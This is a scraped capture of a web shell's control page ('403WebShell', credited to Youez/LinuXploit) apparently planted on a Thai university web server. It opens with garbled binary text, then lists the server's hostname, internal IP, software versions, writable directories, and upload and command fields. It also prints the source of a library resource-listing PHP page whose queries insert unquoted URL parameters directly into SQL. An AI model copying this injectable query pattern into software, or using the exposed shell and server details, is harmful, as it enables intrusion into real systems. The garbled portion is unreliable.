h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/arit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/arit/IntroAll24-02-2560.php
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<link rel="shortcut icon" href="images/logotab.ico"></head>

        <link href="structer.css" rel="stylesheet" type="text/css">

<title>บรรณารักษ์แนะนำทรัพยากร</title>

</head>
<style type="text/css">
.news_content
{
	width:750px;
	float:right;
}

.news_menu
{
	width:200px;
	float:left;
	height:500px;
}

.sidebar_menu {
	list-style: none;
	margin: 0 0 30px;
	padding: 0;
}
.sidebar_menu li {
	margin: 0;
	padding: 2px 0 3px 16px;
	background: url(./images/templatemo_list_01.png) no-repeat scroll 0 8px;
	border-bottom: 1px dotted #ccc
}

.sidebar_menu li a {
	font-size: 14px;
}

#sidebar h3 {
	font-size: 16px;
	padding: 0 0 15px 0;
	margin: 0 0 15px 0;
	background: url(./images/sidebar_header_bg.png)  left bottom no-repeat
}


h1 {
	margin: 0 0 5px 0;
	padding: 10px 0 10px 10px;
	font-size: 24px;
	font-weight: normal;
	color: #ffffff;
	background: #26405b;
}

h2 {
	margin: 0 0 10px 0;
	padding: 5px 0 5px 10px;
	font-size: 16px;
}


h4 {
	margin: 0;
	padding: 3px 0 3px 10px;
	font-size: 14px;
	font-weight: bold;
	color: #03F;
	background: #EEE;
}


 .section_02_box {
	 
	float: left;
	width: 350px;
	border: 1px solid #CCCCCC;
	margin: 0 20px 0 0px;
}

.section_02_box .section_02_box_content{
	float: left;
	padding: 15px;
}

.section_02_box_content .section_02_box_content_title {
	font-weight: bold;
}

.section_02_box_content ul{
	clear: both;
	list-style: none;
	margin: 0;
	padding: 0;
}

.section_02_box_content ul li{
	padding: 0 0 5px 15px;
	margin: 0;	
	background: url(images/templatemo_listicon.gif) top left no-repeat;
}

.section_02_box img {
	float: left;
	margin: 3px 15px 0 0;
}
.cleaner_with_height {
	clear: both;
	width: 100%;
	height: 20px;
}

</style>


</style>
  <body>
	<!--start logo -->
	<div id="logo">
           		 <?  include "logo.php";?>
    </div>
    <!--end logo -->


  
	<!-- start nav -->
	<nav>
    	<div id="nav">
        	<div id="content-nav">
           		 <?  include "navigator.php";?>
            </div>
        </div>
       
    </nav>

    
    
	<!-- start article -->
    <article>
    
    	<div id="content"> 	<!-- start content -->
        
        	<div class="content-title">
            บรรณารักษ์แนะนำทรัพยากร <img src="images/dot21.jpg" width="12px;"> 
            <div class="content-line"></div>
            </div>

			<div class="content-text">
            	 <div class="news_menu">     
                    <ul class="sidebar_menu">
                 <li><a  href='IntroAll.php?resource_type_code=All' >ดูทั้งหมด </li>

<?
include "connect.php";
 $sql="select * from resource_type where `resource_type_code` !=3  order by resource_type_code asc  ";
  $query=mysql_query($sql);
 $row=mysql_num_rows($query);
 $i=0;
 while ($i<$row)
 { 
 $result=mysql_fetch_array($query);
 $resource_type_code =$result[resource_type_code];
 $resource_type_name =$result[resource_type_name];

echo "<li><a  href='IntroAll.php?resource_type_code=$resource_type_code' >$resource_type_name </li>";
$i++;
}
	
?>                    </ul>
           
           		</div>	
                
                
                <div class="news_content">
                
  <?php

$resource_type_code=$_GET['resource_type_code'];  
$DirThum='../arc/intro/titlepic/';
//$dir=opendir($DirThum);
//$file=readdir($dir);
//$size=round(fiesize($DirThum.$file)/1024.1);

include "connect.php";

 if($resource_type_code=="All" or empty($resource_type_code))
$sql="select * from intro_resource  order by title_code desc" ;
else
$sql="select * from intro_resource where resource_type_code=$resource_type_code order by title_code desc" ;
$query=mysql_query($sql);
$row=mysql_num_rows($query);

if (empty($row))
echo " <p'> ไม่มีข้อมูลที่เลือก </p>"; 
else

{


$pagelen=30;
$page=$_GET['page'];
if(empty($page)) { $page=1; }
include "connect.php";
$totalpage=ceil($row/$pagelen);

$goto =($page-1)*$pagelen;





                          			echo " <p> หน้าที่ ::"; 
									for($i=1;$i<=$totalpage;$i++)
											{
											if($i==$page)
											echo"<b>$i</b>";
											else
											echo "  <a href=index.php?page=$i&select=$select>   $i   </a>";
												}
								echo"<br><br></p>";
								
								
								
							 if($resource_type_code=="All" or empty($resource_type_code))
								$sql="select * from intro_resource  order by title_code desc  limit  $goto,$pagelen" ;
								 else
								$sql="select * from intro_resource where resource_type_code=$resource_type_code order by title_code desc  limit  $goto,$pagelen" ;
							$query=mysql_query($sql);
							$num=mysql_num_rows($query);
								
							$c=0;
							while($c < $num)
							{
							$arr=mysql_fetch_array($query);
							$title_code =$arr[title_code];
							$title  =$arr[title];
							$author =$arr[author];
							$publisher =$arr[publisher];
							$publish_year =$arr[publish_year];
							$callnumber=$arr[callnumber];
							$attribute=$arr[attribute];
							$links=$arr[links];
							$picture =$arr[picture];
							$detail =$arr[detail];
							$max=150;
							$detail=iconv_substr($detail, 0,$max, "UTF-8")."...&raquo; อ่านต่อ";
						
							
?>

                	<div class="section_02_box">
                        <h4><? echo "$title";?></h4>
                  <div class="section_02_box_content">
                            <a href="<? echo "IntroDetail.php?title_code=$title_code"?>" target="_blank"><? echo "<img src='$DirThum$picture' width='100' height='130'>" ?></a>
                            <a href="<? echo $LessonLink?>" target="_blank"><? echo "<b>$title</b> <br> ผู้เขียน : $author  <br>  รายละเอียด : $detail"; ?></a>
						</div>
                  </div>




<?
$c++;
if ($c%2==0)
echo" <div class='cleaner_with_height'>&nbsp;</div>";
}
?>
                <div class="cleaner_with_height">&nbsp;</div>

<?
	
                          			echo " <p> หน้าที่ ::"; 
									for($i=1;$i<=$totalpage;$i++)
											{
											if($i==$page)
											echo"<b>$i</b>";
											else
											echo "  <a href=index.php?page=$i&select=$select>   $i   </a>";
												}
								echo"<br><br></p>";
									
}
                             ?>       
  <br/>               
                       


	               

                <div class="cleaner_with_height">&nbsp;</div>
                       
                             
                             </div>
                
                
            </div> <!-- end content-text -->

       
       
       </div>     	<!-- end content -->
  
    </article>




<footer>
<? include "footer.php";?>
</footer>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit